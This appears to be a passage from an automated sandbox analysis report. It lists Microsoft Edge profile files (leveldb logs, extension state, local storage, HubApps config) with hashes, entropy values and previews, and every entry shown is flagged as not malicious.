Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13377078221154326..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.184452436961623
Encrypted:	false
SSDEEP:	6:HYAu1CHhJ23oH+Tcwtk2WwnvB2KLlVYlXFq2PCHhJ23oH+Tcwtk2WwnvIFUv:yYebkxwnvFLmXFvBYebkxwnQFUv
MD5:	DDC90384EB57ADC1C0BCE15B6D57F105
SHA1:	7B169749B0E92E1D084395FFF8088A3FA30DD1D9
SHA-256:	7E0F850F1BFF57FE688B826451C9B9498DBDAEEC6FC39222D2C59CBC5458027B
SHA-512:	BABFC155012604A3FC9C57C869899AD5CADF3839521052753B28B3C4A9A7F833C4579A67A1B37F40451C1C12227C31E3B95B8AE880638948309AAB8A90893DF3
Malicious:	false
Preview:	2024/11/26-02:03:37.619 20c0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/26-02:03:37.694 20c0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324611502860793
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RJ:C1gAg1zfvx
MD5:	99A1C04F1F8B0C3FEF26B11098296E7B
SHA1:	956B6E751168E7451AD3C4A3DB2CD9CE938B63C6
SHA-256:	598D73E4300A7C44F3366529154624AEFA840983DC3C70D0FA3EDFB8660AF3E8
SHA-512:	3D46FB2CF46EDE995DF3A70BB47A77933A63B13AC428E6336147CE9954D31F6D9148855692CF601C1D9724F4B4C9FAC5FA3855FA2FFE01DF8E3F6C381ABD18B8
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.169615408550235
Encrypted:	false
SSDEEP:	6:HYA9+q2PCHhJ23oH+Tcwt8aPrqIFUt8YYANJZmw+YYAN9VkwOCHhJ23oH+Tcwt8h:5+vBYebL3FUt8M/+MV56YebQJ
MD5:	F70A9095D8044E70CA9C10BF71E2ABC3
SHA1:	3B63971E294422DAD9086F40696D0592725AE8B7
SHA-256:	71A9147E237104A33C17526E50527C25CEA18A06D5F3C0EFC01A0FD7720CB26F
SHA-512:	0487EA5EE5FD1CDE751B7EF5811EC0BF03A0DED861E745C80C787018C42AFFE51ADAF8E511108E11386056CA2DE7D042DBB12D8988734B3AF267749F8802F83E
Malicious:	false
Preview:	2024/11/26-02:03:32.237 1ebc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/26-02:03:32.239 1ebc Recovering log #3.2024/11/26-02:03:32.239 1ebc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.169615408550235
Encrypted:	false
SSDEEP:	6:HYA9+q2PCHhJ23oH+Tcwt8aPrqIFUt8YYANJZmw+YYAN9VkwOCHhJ23oH+Tcwt8h:5+vBYebL3FUt8M/+MV56YebQJ
MD5:	F70A9095D8044E70CA9C10BF71E2ABC3
SHA1:	3B63971E294422DAD9086F40696D0592725AE8B7
SHA-256:	71A9147E237104A33C17526E50527C25CEA18A06D5F3C0EFC01A0FD7720CB26F
SHA-512:	0487EA5EE5FD1CDE751B7EF5811EC0BF03A0DED861E745C80C787018C42AFFE51ADAF8E511108E11386056CA2DE7D042DBB12D8988734B3AF267749F8802F83E
Malicious:	false
Preview:	2024/11/26-02:03:32.237 1ebc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/26-02:03:32.239 1ebc Recovering log #3.2024/11/26-02:03:32.239 1ebc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.199215199959935
Encrypted:	false
SSDEEP:	6:HYh9+q2PCHhJ23oH+Tcwt865IFUt8YYhJZmw+YYh9VkwOCHhJ23oH+Tcwt86+ULJ:Q+vBYeb/WFUt8L/+bV56Yeb/+SJ
MD5:	AF47DBE21D5EF89654E02D09FB2B664A
SHA1:	3D12DA1BAEE885F2ADBD2EB45CC49D185DA94055
SHA-256:	8D903FBF63CDF888469B381A107D2C2420049D38A85A5FE60B4F5470B3B58242
SHA-512:	77DE4F1B6E05015E8EAF677023822738A6FC2CA75D5C279EAA3583B68509EDA03036A5474FE9FCE4FCBEF7606ADE6078831978451CF7BAAB490161F266C2A8B7
Malicious:	false
Preview:	2024/11/26-02:03:32.278 1ebc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/26-02:03:32.278 1ebc Recovering log #3.2024/11/26-02:03:32.278 1ebc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.199215199959935
Encrypted:	false
SSDEEP:	6:HYh9+q2PCHhJ23oH+Tcwt865IFUt8YYhJZmw+YYh9VkwOCHhJ23oH+Tcwt86+ULJ:Q+vBYeb/WFUt8L/+bV56Yeb/+SJ
MD5:	AF47DBE21D5EF89654E02D09FB2B664A
SHA1:	3D12DA1BAEE885F2ADBD2EB45CC49D185DA94055
SHA-256:	8D903FBF63CDF888469B381A107D2C2420049D38A85A5FE60B4F5470B3B58242
SHA-512:	77DE4F1B6E05015E8EAF677023822738A6FC2CA75D5C279EAA3583B68509EDA03036A5474FE9FCE4FCBEF7606ADE6078831978451CF7BAAB490161F266C2A8B7
Malicious:	false
Preview:	2024/11/26-02:03:32.278 1ebc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/26-02:03:32.278 1ebc Recovering log #3.2024/11/26-02:03:32.278 1ebc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.150605891767994
Encrypted:	false
SSDEEP:	6:HYRvlyq2PCHhJ23oH+Tcwt8NIFUt8YY4yz1Zmw+YY4ylRkwOCHhJ23oH+Tcwt8+Q:A9yvBYebpFUt84G/+4eR56YebqJ
MD5:	A2AECA47BA38B7464A37DF09F19AC24C
SHA1:	7E609CA5566811DC291E7F085AB89EF762868F26
SHA-256:	FED53D149312DC4ED3E8072CD21B940833F8DAC9EF1C98E633AA10AF2FD1CA91
SHA-512:	7E25585785DD672E331DB4373C7F2BA38CD96E65AA1AF912869D9E4102F09BF242D648A1C7E8588DF55C13B95E1F9DC610C0EB5BC5372347FA57A2CB2E1E6C11
Malicious:	false
Preview:	2024/11/26-02:03:33.091 1e70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/26-02:03:33.093 1e70 Recovering log #3.2024/11/26-02:03:33.093 1e70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.150605891767994
Encrypted:	false
SSDEEP:	6:HYRvlyq2PCHhJ23oH+Tcwt8NIFUt8YY4yz1Zmw+YY4ylRkwOCHhJ23oH+Tcwt8+Q:A9yvBYebpFUt84G/+4eR56YebqJ
MD5:	A2AECA47BA38B7464A37DF09F19AC24C
SHA1:	7E609CA5566811DC291E7F085AB89EF762868F26
SHA-256:	FED53D149312DC4ED3E8072CD21B940833F8DAC9EF1C98E633AA10AF2FD1CA91
SHA-512:	7E25585785DD672E331DB4373C7F2BA38CD96E65AA1AF912869D9E4102F09BF242D648A1C7E8588DF55C13B95E1F9DC610C0EB5BC5372347FA57A2CB2E1E6C11
Malicious:	false
Preview:	2024/11/26-02:03:33.091 1e70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/26-02:03:33.093 1e70 Recovering log #3.2024/11/26-02:03:33.093 1e70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21848828281205318
Encrypted:	false
SSDEEP:	3:91tFlljq7A/mhWJFuQ3yy7IOWUtqdweytllrE9SFcTp4AGbNCV9RUI2T/n:M75fOGd0Xi99pEYu/
MD5:	DA6E25412861DE4323517240290529BC
SHA1:	E8E0A4AD34D0A07E51AEA14B474C495AE9ED558D
SHA-256:	23634AE3D707C73BA7224A6F9E1E6B164CF123575ED8BA5D91231D0EA8AA1D7F
SHA-512:	79EFEE1AA610900F81D6F905ECBBC980DD981B000EEFA55BD58AC64E15D531FB19CDE5824A77104F25DC085B441EE60B666AAEA14B15383DD3873ADF2D06EF92
Malicious:	false
Preview:	.............}6....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481260415575596
Encrypted:	false
SSDEEP:	384:aj9P012QkQerkjlxP/KbtLcg773pL9hCgam6ItRKToaAu:adPe2mlxP/Ng7Pv9RKcC
MD5:	8D3B8E3A72C40BAD6B53D27E09419923
SHA1:	561B9DDED7215DE5C2D7E4FDB64D5EB8A010A62C
SHA-256:	4C7F428D712485570F5840B0FA241809A64B9AF4D3BB4055663DAED3F371F09C
SHA-512:	B77E85B650C227FBAE00CBCBF0C87D6C883ABEAA0255D740CDFA2EE41E2E6E5DEB971CF51649C3399815AC058F1B175C7BBF2FC3CEC983B6ACEF67C2323EB624
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.329645841564899
Encrypted:	false
SSDEEP:	12:/ylyvBYeb8rcHEZrELFUt8D/+fR56Yeb8rcHEZrEZSJ:/y6BYeb8nZrExg866Yeb8nZrEZe
MD5:	3E3B399B56F002A1BD80CBC46F627887
SHA1:	84009015D8ED59991007D515E133F6C3FFA00DDD
SHA-256:	6EC18EE2A4B8BDD28202AB19DAA98938AFD9CB8136507D09080834C44C7B80D3
SHA-512:	63F5799EA177196F52BA272FD00A178592BF99E9885BA910DF5D3920BC4119454F5E4F772D0959EEE2D48D88E9BAEC3E9685E0ABCE7A0717ED0D246380266433
Malicious:	false
Preview:	2024/11/26-02:03:36.588 1e70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/26-02:03:36.595 1e70 Recovering log #3.2024/11/26-02:03:36.595 1e70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.329645841564899
Encrypted:	false
SSDEEP:	12:/ylyvBYeb8rcHEZrELFUt8D/+fR56Yeb8rcHEZrEZSJ:/y6BYeb8nZrExg866Yeb8nZrEZe
MD5:	3E3B399B56F002A1BD80CBC46F627887
SHA1:	84009015D8ED59991007D515E133F6C3FFA00DDD
SHA-256:	6EC18EE2A4B8BDD28202AB19DAA98938AFD9CB8136507D09080834C44C7B80D3
SHA-512:	63F5799EA177196F52BA272FD00A178592BF99E9885BA910DF5D3920BC4119454F5E4F772D0959EEE2D48D88E9BAEC3E9685E0ABCE7A0717ED0D246380266433
Malicious:	false
Preview:	2024/11/26-02:03:36.588 1e70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/26-02:03:36.595 1e70 Recovering log #3.2024/11/26-02:03:36.595 1e70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.670422262295093
Encrypted:	false
SSDEEP:	24:H2ZW/lFCC5JwMvmzL4rXZAW2sFV03y1x4rnMyLWsUlH8ekTN5zgFHHmi28/V:WZCFDEzL4rXZf2iV03Sx4rMyLRJP+HHn
MD5:	0D2D8D9CF193480EC88C731CF5207744
SHA1:	2AD079EDF9C658BB116D93AEE2899A3F28127640
SHA-256:	1C98329A5C1E666A4BA37A3282952E74179C8889BFD00822B0E0050BA86C1F1F
SHA-512:	112163F0963A2B70FC0BD6D18AD5939543578936BF931E01D6B31B17D9C20792CDDC83ED97F437855F016CFF6259A88321A9567A5023873A5C5CE56ECD204A30
Malicious:	false
Preview:	"...................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1732604627161.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732604628269.._https://ntp.msn.com..MUID!.2A1C8E46DA6B6D3B073F9B05DB6A6C89.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732604627256,"schedule":[-1,-1,31,9,36,-1,-1],"scheduleFixed":[-1,-1,31,9,36,-1,-1],"simpleSchedule":[12,17,48,36,31,16,28]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732604627125.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Tue Nov 26 2024 02:03:46 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1491333040369955
Encrypted:	false
SSDEEP:	6:HYddIq2PCHhJ23oH+Tcwt8a2jMGIFUt8YYfuARFZZmw+YYhkwOCHhJ23oH+Tcwtw:cdIvBYeb8EFUt8m0FZ/+h56Yeb8bJ
MD5:	EB58812A5E110F577CDD6920DC89251B
SHA1:	A0296D59DAA53BCA824A10EED1CD9DFF625D3BAC
SHA-256:	6C50184E6FCE736231E39A00F4CD207F35D1E7B38FB7021886840B1B9B82DAC4
SHA-512:	EC92ABA688E795CB0625BD1B9012A5CD52B399B1F1FBAE31B69F688634F8863017FA02F1D6B9913959D9B72F2C87D1CF48CB6EA022DB8DC9145B8FF88793E080
Malicious:	false
Preview:	2024/11/26-02:03:32.640 1c24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/26-02:03:32.642 1c24 Recovering log #3.2024/11/26-02:03:32.659 1c24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1491333040369955
Encrypted:	false
SSDEEP:	6:HYddIq2PCHhJ23oH+Tcwt8a2jMGIFUt8YYfuARFZZmw+YYhkwOCHhJ23oH+Tcwtw:cdIvBYeb8EFUt8m0FZ/+h56Yeb8bJ
MD5:	EB58812A5E110F577CDD6920DC89251B
SHA1:	A0296D59DAA53BCA824A10EED1CD9DFF625D3BAC
